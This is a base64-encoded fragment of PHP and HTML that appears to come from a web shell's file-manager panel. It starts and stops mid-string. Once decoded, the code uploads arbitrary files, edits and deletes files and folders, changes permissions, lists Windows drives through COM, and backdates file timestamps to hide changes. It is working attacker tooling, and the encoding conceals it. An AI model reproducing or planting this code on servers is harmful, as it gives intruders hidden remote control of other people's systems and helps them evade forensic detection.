ChTQV9ST09ULCAkZGlyKTsKaWYgKHN1YnN0cigkZGlyLCAtMSkgIT0gJy8nKSB7CgkkZGlyID0gJGRpci4nLyc7Cn0KCmlmICgkYWN0aW9uID09ICdmaWxlJykgewoKCS8vID8/Pz8/PwoJJGRpcl93cml0ZWFibGUgPSBAaXNfd3JpdGFibGUoJG5vd3BhdGgpID8gJ1dyaXRhYmxlJyA6ICdOb24td3JpdGFibGUnOwoKCS8vID8/Pz8KCWlmICgkbmV3ZGlybmFtZSkgewoJCSRta2RpcnMgPSAkbm93cGF0aC4kbmV3ZGlybmFtZTsKCQlpZiAoZmlsZV9leGlzdHMoJG1rZGlycykpIHsKCQkJbSgnRGlyZWN0b3J5IGhhcyBhbHJlYWR5IGV4aXN0ZWQnKTsKCQl9IGVsc2UgewoJCQltKCdEaXJlY3RvcnkgY3JlYXRlZCAnLihAbWtkaXIoJG1rZGlycywwNzc3KSA/ICdzdWNjZXNzJyA6ICdmYWlsZWQnKSk7CgkJCUBjaG1vZCgkbWtkaXJzLDA3NzcpOwoJCX0KCX0KCgkvLyA/Pz8/CgllbHNlaWYgKCRkb3VwZmlsZSkgewoJCW0oJ0ZpbGUgdXBsb2FkICcuKEBjb3B5KCRfRklMRVNbJ3VwbG9hZGZpbGUnXVsndG1wX25hbWUnXSwkdXBsb2FkZGlyLicvJy4kX0ZJTEVTWyd1cGxvYWRmaWxlJ11bJ25hbWUnXSkgPyAnc3VjY2VzcycgOiAnZmFpbGVkJykpOwoJfQoKCS8vID8/Pz8KCWVsc2VpZiAoJGVkaXRmaWxlbmFtZSAmJiAkZmlsZWNvbnRlbnQpIHsKCQkkZnAgPSBAZm9wZW4oJGVkaXRmaWxlbmFtZSwndycpOwoJCW0oJ1NhdmUgZmlsZSAnLihAZndyaXRlKCRmcCwkZmlsZWNvbnRlbnQpID8gJ3N1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsKCQlAZmNsb3NlKCRmcCk7Cgl9CgoJLy8gPz8/Pz8/CgllbHNlaWYgKCRwZmlsZSAmJiAkbmV3cGVybSkgewoJCWlmICghZmlsZV9leGlzdHMoJHBmaWxlKSkgewoJCQltKCdUaGUgb3JpZ2luYWwgZmlsZSBkb2VzIG5vdCBleGlzdCcpOwoJCX0gZWxzZSB7CgkJCSRuZXdwZXJtID0gYmFzZV9jb252ZXJ0KCRuZXdwZXJtLDgsMTApOwoJCQltKCdNb2RpZnkgZmlsZSBhdHRyaWJ1dGVzICcuKEBjaG1vZCgkcGZpbGUsJG5ld3Blcm0pID8gJ3N1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsKCQl9Cgl9CgoJLy8gPz8KCWVsc2VpZiAoJG9sZG5hbWUgJiYgJG5ld2ZpbGVuYW1lKSB7CgkJJG5uYW1lID0gJG5vd3BhdGguJG5ld2ZpbGVuYW1lOwoJCWlmIChmaWxlX2V4aXN0cygkbm5hbWUpIHx8ICFmaWxlX2V4aXN0cygkb2xkbmFtZSkpIHsKCQkJbSgkbm5hbWUuJyBoYXMgYWxyZWFkeSBleGlzdGVkIG9yIG9yaWdpbmFsIGZpbGUgZG9lcyBub3QgZXhpc3QnKTsKCQl9IGVsc2UgewoJCQltKGJhc2VuYW1lKCRvbGRuYW1lKS4nIHJlbmFtZWQgJy5iYXNlbmFtZSgkbm5hbWUpLihAcmVuYW1lKCRvbGRuYW1lLCRubmFtZSkgPyAnIHN1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsKCQl9Cgl9CgoJLy8gPz8/PwoJZWxzZWlmICgkc25hbWUgJiYgJHRvZmlsZSkgewoJCWlmIChmaWxlX2V4aXN0cygkdG9maWxlKSB8fCAhZmlsZV9leGlzdHMoJHNuYW1lKSkgewoJCQltKCdUaGUgZ29hbCBmaWxlIGhhcyBhbHJlYWR5IGV4aXN0ZWQgb3Igb3JpZ2luYWwgZmlsZSBkb2VzIG5vdCBleGlzdCcpOwoJCX0gZWxzZSB7CgkJCW0oYmFzZW5hbWUoJHRvZmlsZSkuJyBjb3BpZWQgJy4oQGNvcHkoJHNuYW1lLCR0b2ZpbGUpID8gYmFzZW5hbWUoJHRvZmlsZSkuJyBzdWNjZXNzJyA6ICdmYWlsZWQnKSk7CgkJfQoJfQoKCS8vID8/Pz8KCWVsc2VpZiAoJGN1cmZpbGUgJiYgJHRhcmZpbGUpIHsKCQlpZiAoIUBmaWxlX2V4aXN0cygkY3VyZmlsZSkgfHwgIUBmaWxlX2V4aXN0cygkdGFyZmlsZSkpIHsKCQkJbSgnVGhlIGdvYWwgZmlsZSBoYXMgYWxyZWFkeSBleGlzdGVkIG9yIG9yaWdpbmFsIGZpbGUgZG9lcyBub3QgZXhpc3QnKTsKCQl9IGVsc2UgewoJCQkkdGltZSA9IEBmaWxlbXRpbWUoJHRhcmZpbGUpOwoJCQltKCdNb2RpZnkgZmlsZSB0aGUgbGFzdCBtb2RpZmllZCAnLihAdG91Y2goJGN1cmZpbGUsJHRpbWUsJHRpbWUpID8gJ3N1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsKCQl9Cgl9CgoJLy8gPz8/Pz8KCWVsc2VpZiAoJGN1cmZpbGUgJiYgJHllYXIgJiYgJG1vbnRoICYmICRkYXkgJiYgJGhvdXIgJiYgJG1pbnV0ZSAmJiAkc2Vjb25kKSB7CgkJaWYgKCFAZmlsZV9leGlzdHMoJGN1cmZpbGUpKSB7CgkJCW0oYmFzZW5hbWUoJGN1cmZpbGUpLicgZG9lcyBub3QgZXhpc3QnKTsKCQl9IGVsc2UgewoJCQkkdGltZSA9IHN0cnRvdGltZSgiJHllYXItJG1vbnRoLSRkYXkgJGhvdXI6JG1pbnV0ZTokc2Vjb25kIik7CgkJCW0oJ01vZGlmeSBmaWxlIHRoZSBsYXN0IG1vZGlmaWVkICcuKEB0b3VjaCgkY3VyZmlsZSwkdGltZSwkdGltZSkgPyAnc3VjY2VzcycgOiAnZmFpbGVkJykpOwoJCX0KCX0KCgkvLyA/Pz8/Pz8KCWVsc2VpZigkZG9pbmcgPT0gJ2RlbGZpbGVzJykgewoJCWlmICgkZGwpIHsKCQkJJGRmaWxlcz0nJzsKCQkJJHN1Y2MgPSAkZmFpbCA9IDA7CgkJCWZvcmVhY2ggKCRkbCBhcyAkZmlsZXBhdGgpIHsKCQkJCWlmIChpc19kaXIoJGZpbGVwYXRoKSkgewoJCQkJCWlmIChAZGVsdHJlZSgkZmlsZXBhdGgpKSB7CgkJCQkJCSRzdWNjKys7CgkJCQkJfSBlbHNlIHsKCQkJCQkJJGZhaWwrKzsKCQkJCQl9CgkJCQl9IGVsc2UgewoJCQkJCWlmIChAdW5saW5rKCRmaWxlcGF0aCkpIHsKCQkJCQkJJHN1Y2MrKzsKCQkJCQl9IGVsc2UgewoJCQkJCQkkZmFpbCsrOwoJCQkJCX0KCQkJCX0KCQkJfQoJCQltKCdEZWxldGVkIGZvbGRlci9maWxlIGhhdmUgZmluaXNoZWQsY2hvb3NlICcuY291bnQoJGRsKS4nIHN1Y2Nlc3MgJy4kc3VjYy4nIGZhaWwgJy4kZmFpbCk7CgkJfSBlbHNlIHsKCQkJbSgnUGxlYXNlIHNlbGVjdCBmb2xkZXIvZmlsZShzKScpOwoJCX0KCX0KCgkvLz8/Pz8KCWZvcm1oZWFkKGFycmF5KCduYW1lJz0+J2NyZWF0ZWRpcicpKTsKCW1ha2VoaWRlKCduZXdkaXJuYW1lJyk7CgltYWtlaGlkZSgnZGlyJywkbm93cGF0aCk7Cglmb3JtZm9vdCgpOwoJZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4nZmlsZXBlcm0nKSk7CgltYWtlaGlkZSgnbmV3cGVybScpOwoJbWFrZWhpZGUoJ3BmaWxlJyk7CgltYWtlaGlkZSgnZGlyJywkbm93cGF0aCk7Cglmb3JtZm9vdCgpOwoJZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4nY29weWZpbGUnKSk7CgltYWtlaGlkZSgnc25hbWUnKTsKCW1ha2VoaWRlKCd0b2ZpbGUnKTsKCW1ha2VoaWRlKCdkaXInLCRub3dwYXRoKTsKCWZvcm1mb290KCk7Cglmb3JtaGVhZChhcnJheSgnbmFtZSc9PidyZW5hbWUnKSk7CgltYWtlaGlkZSgnb2xkbmFtZScpOwoJbWFrZWhpZGUoJ25ld2ZpbGVuYW1lJyk7CgltYWtlaGlkZSgnZGlyJywkbm93cGF0aCk7Cglmb3JtZm9vdCgpOwoJZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4nZmlsZW9wZm9ybScsICd0YXJnZXQnPT4nX2JsYW5rJykpOwoJbWFrZWhpZGUoJ2FjdGlvbicpOwoJbWFrZWhpZGUoJ29wZmlsZScpOwoJbWFrZWhpZGUoJ2RpcicpOwoJZm9ybWZvb3QoKTsKCWZvcm1oZWFkKGFycmF5KCduYW1lJz0+J2dldHNpemUnKSk7CgltYWtlaGlkZSgnZ2V0ZGlyJyk7CgltYWtlaGlkZSgnZGlyJyk7Cglmb3JtZm9vdCgpOwoKCSRmcmVlID0gQGRpc2tfZnJlZV9zcGFjZSgkbm93cGF0aCk7CgkhJGZyZWUgJiYgJGZyZWUgPSAwOwoJJGFsbCA9IEBkaXNrX3RvdGFsX3NwYWNlKCRub3dwYXRoKTsKCSEkYWxsICYmICRhbGwgPSAwOwoJJHVzZWQgPSAkYWxsLSRmcmVlOwoJcCgnPGgyPkZpbGUgTWFuYWdlciAtIEN1cnJlbnQgZGlzayBmcmVlICcuc2l6ZWNvdW50KCRmcmVlKS4nIG9mICcuc2l6ZWNvdW50KCRhbGwpLicgKCcuQHJvdW5kKDEwMC8oJGFsbC8kZnJlZSksMikuJyUpPC9oMj4nKTsKCgkkY3dkX2xpbmtzID0gJyc7CgkkcGF0aCA9IGV4cGxvZGUoJy8nLCAkbm93cGF0aCk7Cgkkbj1jb3VudCgkcGF0aCk7Cglmb3IoJGk9MDskaTwkbi0xOyRpKyspIHsKCQkkY3dkX2xpbmtzIC49ICc8YSBocmVmPSJqYXZhc2NyaXB0OmdvZGlyKFwnJzsKCQlmb3IoJGo9MDskajw9JGk7JGorKykgewoJCQkkY3dkX2xpbmtzIC49ICRwYXRoWyRqXS4nLyc7CgkJfQoJCSRjd2RfbGlua3MgLj0gJ1wnKTsiPicuJHBhdGhbJGldLicvPC9hPic7Cgl9Cgo/Pgo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+CmRvY3VtZW50Lm9uY2xpY2sgPSBzaG93bmF2OwpmdW5jdGlvbiBzaG93bmF2KGUpewoJdmFyIHNyYyA9IGU/ZS50YXJnZXQ6ZXZlbnQuc3JjRWxlbWVudDsKCWRvewoJCWlmKHNyYy5pZCA9PSJqdW1wdG8iKSB7CgkJCSQoJ2lucHV0bmF2Jykuc3R5bGUuZGlzcGxheSA9ICIiOwoJCQkkKCdwYXRobmF2Jykuc3R5bGUuZGlzcGxheSA9ICJub25lIjsKCQkJLy9oaWRlbmF2KCk7CgkJCXJldHVybjsKCQl9CgkJaWYoc3JjLmlkID09ImlucHV0bmF2IikgewoJCQlyZXR1cm47CgkJfQoJCXNyYyA9IHNyYy5wYXJlbnROb2RlOwoJfXdoaWxlKHNyYy5wYXJlbnROb2RlKQoKCSQoJ2lucHV0bmF2Jykuc3R5bGUuZGlzcGxheSA9ICJub25lIjsKCSQoJ3BhdGhuYXYnKS5zdHlsZS5kaXNwbGF5ID0gIiI7Cn0KPC9zY3JpcHQ+CjxkaXYgc3R5bGU9ImJhY2tncm91bmQ6I2VlZTttYXJnaW4tYm90dG9tOjEwcHg7Ij4KCTx0YWJsZSBpZD0icGF0aG5hdiIgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjUiIGNlbGxzcGFjaW5nPSIwIj4KCQk8dHI+CgkJCTx0ZCB3aWR0aD0iMTAwJSI+PD9waHAgZWNobyAkY3dkX2xpbmtzLicgLSAnLmdldENobW9kKCRub3dwYXRoKS4nIC8gJy5nZXRQZXJtcygkbm93cGF0aCkuZ2V0VXNlcigkbm93cGF0aCk7Pz4gKDw/cGhwIGVjaG8gJGRpcl93cml0ZWFibGU7Pz4pPC90ZD4KCQkJPHRkIG5vd3JhcD48aW5wdXQgY2xhc3M9ImJ0IiBpZD0ianVtcHRvIiBuYW1lPSJqdW1wdG8iIHZhbHVlPSJKdW1wIHRvIiB0eXBlPSJidXR0b24iPjwvdGQ+CgkJPC90cj4KCTwvdGFibGU+Cgk8dGFibGUgaWQ9ImlucHV0bmF2IiB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iNSIgY2VsbHNwYWNpbmc9IjAiIHN0eWxlPSJkaXNwbGF5Om5vbmU7Ij4KCTxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIGlkPSJnb2RpciIgbmFtZT0iZ29kaXIiPgoJCTx0cj4KCQkJPHRkIG5vd3JhcD5DdXJyZW50IERpcmVjdG9yeSAoPD9waHAgZWNobyAkZGlyX3dyaXRlYWJsZTs/PiwgPD9waHAgZWNobyBnZXRDaG1vZCgkbm93cGF0aCk7Pz4pPC90ZD4KCQkJPHRkIHdpZHRoPSIxMDAlIj48aW5wdXQgbmFtZT0idmlld193cml0YWJsZSIgdmFsdWU9IjAiIHR5cGU9ImhpZGRlbiIgLz48aW5wdXQgY2xhc3M9ImlucHV0IiBuYW1lPSJkaXIiIHZhbHVlPSI8P3BocCBlY2hvICRub3dwYXRoOz8+IiB0eXBlPSJ0ZXh0IiBzdHlsZT0id2lkdGg6OTklO21hcmdpbjowIDhweDsiPjwvdGQ+CgkJCTx0ZCBub3dyYXA+PGlucHV0IGNsYXNzPSJidCIgdmFsdWU9IkdPIiB0eXBlPSJzdWJtaXQiPjwvdGQ+CgkJPC90cj4KCTwvZm9ybT4KCTwvdGFibGU+Cjw/cGhwCglpZiAoSVNfV0lOICYmIElTX0NPTSkgewoJCSRvYmogPSBuZXcgQ09NKCdzY3JpcHRpbmcuZmlsZXN5c3RlbW9iamVjdCcpOwoJCWlmICgkb2JqICYmIGlzX29iamVjdCgkb2JqKSAmJiAkb2JqLT5Ecml2ZXMpIHsKCQkJZWNobyAnPGRpdiBjbGFzcz0iZHJpdmVzIj4nOwoJCQkkRHJpdmVUeXBlREIgPSBhcnJheSgwID0+ICdVbmtub3cnLDEgPT4gJ1JlbW92YWJsZScsMiA9PiAnRml4ZWQnLDMgPT4gJ05ldHdvcmsnLDQgPT4gJ0NEUm9tJyw1ID0+ICdSQU0gRGlzaycpOwoJCQkkY29tbWEgPSAnJzsKCQkJZm9yZWFjaCgkb2JqLT5Ecml2ZXMgYXMgJGRyaXZlKSB7CgkJCQlpZiAoJGRyaXZlLT5QYXRoKSB7CgkJCQkJcCgkY29tbWEuJzxhIGhyZWY9ImphdmFzY3JpcHQ6Z29kaXIoXCcnLiRkcml2ZS0+UGF0aC4nL1wnKTsiPicuJERyaXZlVHlwZURCWyRkcml2ZS0+RHJpdmVUeXBlXS4nKCcuJGRyaXZlLT5QYXRoLicpPC9hPicpOwoJCQkJCSRjb21tYSA9ICc8c3Bhbj58PC9zcGFuPic7CgkJCQl9CgkJCX0KCQkJZWNobyAnPC9kaXY+JzsKCQl9Cgl9Cj8+CjwvZGl2Pgo8P3BocAoJJGZpbmRzdHIgPSAkX1BPU1RbJ2ZpbmRzdHInXTsKCSRyZSA9ICRfUE9TVFsncmUnXTsKCXRiaGVhZCgpOwoJcCgnPHRyIGNsYXNzPSJhbHQxIj48dGQgY29sc3Bhbj0iNyIgc3R5bGU9InBhZGRpbmc6NXB4O2xpbmUtaGVpZ2h0OjIwcHg7Ij4nKTsKCXAoJzxmb3JtIGFjdGlvbj0iJy4kc2VsZi4nIiBtZXRob2Q9IlBPU1QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPjxkaXYgc3R5bGU9ImZsb2F0OnJpZ2h0OyI+PGlucHV0IGNsYXNzPSJpbnB1dCIgbmFtZT0idXBsb2FkZmlsZSIgdmFsdWU9IiIgdHlwZT0iZmlsZSIgLz4gPGlucHV0IGNsYXNzPSJidCIgbmFtZT0iZG91cGZpbGUiIHZhbHVlPSJVcGxvYWQiIHR5cGU9InN1Ym1pdCIgLz48aW5wdXQgbmFtZT0idXBsb2FkZGlyIiB2YWx1ZT0iJy4kbm93cGF0aC4nIiB0eXBlPSJoaWRkZW4iIC8+PGlucHV0IG5hbWU9ImRpciIgdmFsdWU9IicuJG5vd3BhdGguJyIgdHlwZT0iaGlkZGVuIiAvPjwvZGl2PjwvZm9ybT4nKTsKCXAoJzxhIGhyZWY9ImphdmFzY3JpcHQ6Z29kaXIoXCcnLiRfU0VSVkVSWyJET0NVTUVOVF9ST09UIl0uJ1wnKTsiPldlYlJvb3Q8L2E+Jyk7CglwKCcgfCA8YSBocmVmPSJqYXZhc2NyaXB0OmdvZGlyKFwnLlwnKTsiPlNjcmlwdFBhdGg8L2E+Jyk7CglwKCcgfCA8YSBocmVmPSJqYXZhc2NyaXB0OmdvZGlyKFwnJy4kbm93cGF0aC4nXCcpOyI+VmlldyBBbGw8L2E+Jyk7CglwKCcgfCBWaWV3IFdyaXRhYmxlICggPGEgaHJlZj0iamF2YXNjcmlwdDpnb2RpcihcJycuJG5vd3BhdGguJ1wnLFwnZGlyXCcpOyI+RGlyZWN0b3J5PC9hPicpOwoJcCgnIHwgPGEgaHJlZj0iamF2YXNjcmlwdDpnb2RpcihcJycuJG5vd3BhdGguJ1wnLFwnZmlsZVwnKTsiPkZpbGU8L2E+ICknKTsKCXAoJyB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6Y3JlYXRlZGlyKCk7Ij5DcmVhdGUgRGlyZWN0b3J5PC9hPiB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6Y3JlYXRlZmlsZShcJycuJG5vd3BhdGguJ1wnKTsiPkNyZWF0ZSBGaWxlPC9hPicpOwoKCXAoJzxkaXYgc3R5bGU9InBhZGRpbmc6NXB4IDA7Ij48Zm9ybSBhY3Rpb249IicuJHNlbGYuJyIgbWV0aG9kPSJQT1NUIj5GaW5kIHN0cmluZyBpbiBmaWxlcyhjdXJyZW50IGZvbGRlcik6IDxpbnB1dCBjbGFzcz0iaW5wdXQiIG5hbWU9ImZpbmRzdHIiIHZhbHVlPSInLiRmaW5kc3RyLiciIHR5cGU9InRleHQiIC8+IDxpbnB1dCBjbGFzcz0iYnQiIHZhbHVlPSJGaW5kIiB0eXBlPSJzdWJtaXQiIC8+IFR5cGU6IDxpbnB1dCBjbGFzcz0iaW5wdXQiIG5hbWU9IndyaXRhYmxlZGIiIHZhbHVlPSInLiR3cml0YWJsZWRiLiciIHR5cGU9InRleHQiIC8+PGlucHV0IG5hbWU9ImRpciIgdmFsdWU9IicuJGRpci4nIiB0eXBlPSJoaWRkZW4iIC8+IDxpbnB1dCBuYW1lPSJyZSIgdmFsdWU9IjEiIHR5cGU9ImNoZWNrYm94IiAnLigkcmUgPyAnY2hlY2tlZCcgOiAnJykuJyAvPiBSZWd1bGFyIGV4cHJlc3Npb25zPC9mb3JtPjwvZGl2PjwvdGQ+PC90cj4nKTsKCglwKCc8dHIgY2xhc3M9ImhlYWQiPjx0ZD4mbmJzcDs8L3RkPjx0ZD5GaWxlbmFtZTwvdGQ+PHRkIHdpZHRoPSIxNiUiPkxhc3QgbW9kaWZpZWQ8L3RkPjx0ZCB3aWR0aD0iMTAlIj5TaXplPC90ZD48dGQgd2lkdGg9IjIwJSI+Q2htb2QgLyBQZXJtczwvdGQ+PHRkIHdpZHRoPSIyMiUiPkFjdGlvbjwvdGQ+PC90cj4nKTsKCgkvLz8/Pz8/Pz8/Pz8/CgkkZGlyZGF0YT1hcnJheSgpOwoJJGZpbGVkYXRhPWFycmF5KCk7CgoJaWYgKCR2aWV3X3dyaXRhYmxlID09ICdkaXInKSB7CgkJJGRpcmRhdGEgPSBHZXRXRGlyTGlzdCgkbm93cGF0aCk7CgkJJGZpbGVkYXRhID0gYXJyYXkoKTsKCX0gZWxzZWlmICgkdmlld193cml0YWJsZSA9PSAnZmlsZScpIHsKCQkkZGlyZGF0YSA9IGFycmF5KCk7CgkJJGZpbGVkYXRhID0gR2V0V0ZpbGVMaXN0KCRub3dwYXRoKTsKCX0gZWxzZWlmICgkZmluZHN0cikgewoJCSRkaXJkYXRhID0gYXJyYXkoKTsKCQkkZmlsZWRhdGEgPSBHZXRTRmlsZUxpc3QoJG5vd3BhdGgsICRmaW5kc3RyLCAkcmUpOwoJfSBlbHNlIHsKCQkvLyA/Pz8/CgkJLy9zY2FuZGlyKCk/Pz8/CgkJJGRpcnM9QG9wZW5kaXIoJGRpcik7CgkJd2hpbGUgKCRmaWxlPUByZWFkZGlyKCRkaXJzKSkgewoJCQkkZmlsZXBhdGg9JG5vd3BhdGguJGZpbGU7CgkJCWlmKEBpc19kaXIoJGZpbGVwYXRoKSl7CgkJCQkkZGlyZGJbJ2ZpbGVuYW1lJ109JGZpbGU7CgkJCQkkZGlyZGJbJ210aW1lJ109QGRhdGUoJ1ktbS1kIEg6aTpzJyxmaWxlbXRpbWUoJGZpbGVwYXRoKSk7CgkJCQkkZGlyZGJbJ2RpcmNobW9kJ109Z2V0Q2htb2QoJGZpbGVwYXRoKTsKCQkJCSRkaXJkYlsnZGlycGVybSddPWdldFBlcm1zKCRmaWxlcGF0aCk7CgkJCQkkZGlyZGJbJ2ZpbGVvd25lciddPWdldFVzZXIoJGZpbGVwYXRoKTsKCQkJCSRkaXJkYlsnZGlybGluayddPSRub3dwYXRoOwoJCQkJJGRpcmRiWydzZXJ2ZXJfbGluayddPSRmaWxlcGF0aDsKCQkJCSRkaXJkYXRhW109JGRpcmRiOwoJCQl9IGVsc2UgewkJCgkJCQkkZmlsZWRiWydmaWxlbmFtZSddPSRmaWxlOwoJCQkJJGZpbGVkYlsnc2l6ZSddPXNpemVjb3VudChAZmlsZXNpemUoJGZpbGVwYXRoKSk7CgkJCQkkZmlsZWRiWydtdGltZSddPUBkYXRlKCdZLW0tZCBIOmk6cycsZmlsZW10aW1lKCRmaWxlcGF0aCkpOwoJCQkJJGZpbGVkYlsnZmlsZWNobW9kJ109Z2V0Q2htb2QoJGZpbGVwYXRoKTsKCQkJCSRmaWxlZGJbJ2ZpbGVwZXJtJ109Z2V0UGVybXMoJGZpbGVwYXRoKTsKCQkJCSRmaWxlZGJbJ2ZpbGVvd25lciddPWdldFVzZXIoJGZpbGVwYXRoKTsKCQkJCSRmaWxlZGJbJ2RpcmxpbmsnXT0kbm93cGF0aDsKCQkJCSRmaWxlZGJbJ3NlcnZlcl9saW5rJ109JGZpbGVwYXRoOwoJCQkJJGZpbGVkYXRhW109JGZpbGVkYjsKCQkJfQoJCX0vLyB3aGlsZQoJCXVuc2V0KCRkaXJkYik7CgkJdW5zZXQoJGZpbGVkYik7CgkJQGNsb3NlZGlyKCRkaXJzKTsKCX0KCUBzb3J0KCRkaXJkYXRhKTsKCUBzb3J0KCRmaWxlZGF0YSk7CgkkZGlyX2kgPSAnMCc7CgoJcCgnPGZvcm0gaWQ9ImZpbGVsaXN0IiBuYW1lPSJmaWxlbGlzdCIgYWN0aW9uPSInLiRzZWxmLiciIG1ldGhvZD0icG9zdCI+Jyk7CgltYWtlaGlkZSgnYWN0aW9uJywnZmlsZScpOwoJbWFrZWhpZGUoJ3RoZWZpbGUnKTsKCW1ha2VoaWRlKCdkb2luZycpOwoJbWFrZWhpZGUoJ2RpcicsJG5vd3BhdGgpOwoKCWZvcmVhY2goJGRpcmRhdGEgYXMgJGtleSA9PiAkZGlyZGIpewoJCWlmKCRkaXJkYlsnZmlsZW5hbWUnXSE9Jy4uJyAmJiAkZGlyZGJbJ2ZpbGVuYW1lJ10hPScuJykgewoJCQlpZigkZ2V0ZGlyICYmICRnZXRkaXIgPT0gJGRpcmRiWydzZXJ2ZXJfbGluayddKSB7CgkJCQkkYXR0YWNoc2l6ZSA9IGRpcnNpemUoJGRpcmRiWydzZXJ2ZXJfbGluayddKTsKCQkJCSRhdHRhY2hzaXplID0gaXNfbnVtZXJpYygkYXR0YWNoc2l6ZSkgPyBzaXplY291bnQoJGF0dGFjaHNpemUpIDogJ1Vua25vd24nOwoJCQl9IGVsc2UgewoJCQkJJGF0dGFjaHNpemUgPSAnPGEgaHJlZj0iamF2YXNjcmlwdDpnZXRzaXplKFwnJy4kZGlyZGJbJ3NlcnZlcl9saW5rJ10uJ1wnLFwnJy4kZGlyLidcJyk7Ij5TdGF0PC9hPic7CgkJCX0KCQkJJHRoaXNiZyA9IGJnKCk7CgkJCXAoJzx0ciBjbGFzcz0iJy4kdGhpc2JnLiciIG9ubW91c2VvdmVyPSJ0aGlzLmNsYXNzTmFtZT1cJ2ZvY3VzXCc7IiBvbm1vdXNlb3V0PSJ0aGlzLmNsYXNzTmFtZT1cJycuJHRoaXNiZy4nXCc7Ij4nKTsKCQkJcCgnPHRkIHdpZHRoPSIyJSIgbm93cmFwPjxpbnB1dCBuYW1lPSJkbFtdIiB0eXBlPSJjaGVja2JveCIgdmFsdWU9IicuJGRpcmRiWydzZXJ2ZXJfbGluayddLiciPjwvdGQ+Jyk7CgkJCXAoJzx0ZD48YSBocmVmPSJqYXZhc2NyaXB0OmdvZGlyKFwnJy4kZGlyZGJbJ3NlcnZlcl9saW5rJ10uJ1wnKTsiPicuJGRpcmRiWydmaWxlbmFtZSddLic8L2E+PC90ZD4nKTsKCQkJcCgnPHRkIG5vd3JhcD48YSBocmVmPSJqYXZhc2NyaXB0Om9wZmlsZShcJ25ld3RpbWVcJyxcJycuJGRpcmRiWydzZXJ2ZXJfbGluayddLidcJyxcJycuJGRpcmRiWydkaXJsaW5rJ10uJ1wnKTsiPicuJGRpcmRiWydtdGltZSddLic8L2E+PC90ZD4nKTsKCQkJcCgnPHRkIG5vd3JhcD4nLiRhdHRhY2hzaXplLic8L3RkPicpOwoJCQlwKCc8dGQgbm93cmFwPicpOwoJCQlwKCc8YSBocmVmPSJqYXZhc2NyaXB0OmZpbGVwZXJtKFwnJy4kZGlyZGJbJ3NlcnZlcl9saW5rJ10uJ1wnKTsiPicuJGRpcmRiWydkaXJjaG1vZCddLic8L2E+IC8gJyk7CgkJCXAoJzxhIGhyZWY9ImphdmFzY3JpcHQ6ZmlsZXBlcm0oXCcnLiRkaXJkYlsnc2VydmVyX2xpbmsnXS4nXCcpOyI+Jy4kZGlyZGJbJ2RpcnBlcm0nXS4nPC9hPicuJGRpcmRiWydmaWxlb3duZXInXS4nPC90ZD4nKTsKCQkJcCgnPHRkIG5vd3JhcD48YSBocmVmPSJqYXZhc2NyaXB0OnJlbmFtZShcJycuJGRpcmRiWydzZXJ2ZXJfbGluayddLidcJyk7Ij5SZW5hbWU8L2E+PC90ZD4nKTsKCQkJcCgnPC90cj4nKTsKCQkJJGRpcl9pKys7CgkJfSBlbHNlIHsKCQkJaWYoJGRpcmRiWydmaWxlbmFtZSddPT0nLi4nKSB7CgkJCQlwKCc8dHIgY2xhc3M9Jy5iZygpLic+Jyk7CgkJCQlwKCc8dGQgYWxpZ249ImNlbnRlciI+LTwvdGQ+PHRkIG5vd3JhcCBjb2xzcGFuPSI1Ij48YSBocmVmPSJqYXZhc2NyaXB0OmdvZGlyKFwnJy5nZXRVcFBhdGgoJG5vd3BhdGgpLidcJyk7Ij5QYXJlbnQgRGlyZWN0b3J5PC9hPjwvdGQ+Jyk7CgkJCQlwKCc8L3RyPicpOwoJCQl9CgkJfQoJfQoKCXAoJzx0ciBiZ2NvbG9yPSIjZGRkZGRkIiBzdGx5ZT0iYm9yZGVyLXRvcDoxcHggc29saWQgI2ZmZjtib3JkZXItYm90dG9tOjFweCBzb2xpZCAjZGRkOyI+PHRkIGNvbHNwYW49IjYiIGhlaWdodD0iNSI+PC90ZD48L3RyPicpOwoJJGZpbGVfaSA9ICcwJzsKCglmb3JlYWNoKCRmaWxlZGF0YSBhcyAka2V5ID0+ICRmaWxlZGIpewoJCWlmKCRmaWxlZGJbJ2ZpbGVuYW1lJ10hPScuLicgJiYgJGZpbGVkYlsnZmlsZW5hbWUnXSE9Jy4nKSB7CgkJCSRmaWxldXJsID0gc3RyX3JlcGxhY2UoJF9TRVJWRVJbIkRPQ1VNRU5UX1JPT1QiXSwnJywkZmlsZWRiWydzZXJ2ZXJfbGluayddKTsKCQkJJHRoaXNiZyA9IGJnKCk7CgkJCXAoJzx0ciBjbGFzcz0iJy4kdGhpc2JnLiciIG9ubW91c2VvdmVyPSJ0aGlzLmNsYXNzTmFtZT1cJ2ZvY3VzXCc7IiBvbm1vdXNlb3V0PSJ0aGlzLmNsYXNzTmFtZT1cJycuJHRoaXNiZy4nXCc7Ij4nKTsKCQkJcCgnPHRkIHdpZHRoPSIyJSIgbm93cmFwPjxpbnB1dCBuYW1lPSJkbFtdIiB0eXBlPSJjaGVja2JveCIgdmFsdWU9IicuJGZpbGVkYlsnc2VydmVyX2xpbmsnXS4nIj48L3RkPicpOwoJCQlwKCc8dGQ+Jy4oKHN0cnBvcygkZmlsZWRiWydzZXJ2ZXJfbGluayddLCAkX1NFUlZFUlsiRE9DVU1FTlRfUk9PVCJdKSAhPT0gZmFsc2UpID8gJzxhIGhyZWY9IicuJGZpbGV1cmwuJyIgdGFyZ2V0PSJfYmxhbmsiPicuJGZpbGVkYlsnZmlsZW5hbWUnXS4nPC9hPicgOiAkZmlsZWRiWydmaWxlbmFtZSddKS4nPC90ZD4nKTsKCQkJcCgnPHRkIG5vd3JhcD48YSBocmVmPSJqYXZhc2NyaXB0Om9wZmlsZShcJ25ld3RpbWVcJyxcJycuJGZpbGVkYlsnc2VydmVyX2xpbmsnXS4nXCcsXCcnLiRmaW